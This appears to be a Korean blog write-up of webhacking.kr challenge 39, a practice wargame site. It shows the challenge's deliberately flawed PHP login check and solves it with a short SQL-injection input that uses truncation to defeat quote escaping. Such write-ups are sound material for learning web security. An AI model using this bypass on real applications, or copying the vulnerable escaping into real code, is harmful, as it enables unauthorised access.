- 문제경로
- 문제풀이
[문제경로]
https://webhacking.kr/challenge/bonus-10/
Chellenge 39
webhacking.kr
[문제풀이]

문제에 접속하면 제출할 수 있는 form과
source code를 볼 수 있는
view-source 하이퍼링크가 있다.
하이퍼링크를 클릭해 source code를 확인했다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Chellenge 39</title>
</head>
<body>
<?php
$db = dbconnect();
// 만약 사용자가 'id' 값을 전송했다면 다음을 실행
if($_POST['id']){
$_POST['id'] = str_replace("\\","",$_POST['id']); // 역슬래시(\)를 제거한다.
$_POST['id'] = str_replace("'","''",$_POST['id']); // 작은 따옴표(')를 이스케이핑한다.
$_POST['id'] = substr($_POST['id'],0,15); // 'id' 값을 최대 길이 15로 자른다.
// 데이터베이스에서 'id' 값의 길이가 14보다 작은지 확인하고, 일치하는 레코드가 있는지 검사한다.
$result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}"));
if($result[0] == 1){
solve(39);
}
}
?>
<form method=post action=index.php>
<input type=text name=id maxlength=15 size=30>
<input type=submit>
</form>
<a href=?view_source=1>view-source</a>
</body>
</html>

admin '

문제가 해결되었다.
'Wargame & CTF > Webhacking.kr' 카테고리의 다른 글
| [Webhacking.kr] old-10 (0) | 2024.04.13 |
|---|---|
| [Webhacking.kr] old-26 (0) | 2024.04.13 |
| [Webhacking.kr] old-06 (0) | 2024.04.10 |
| [Webhacking.kr] old-16 (0) | 2023.09.22 |
| [Webhacking.kr] old-15 (0) | 2023.09.17 |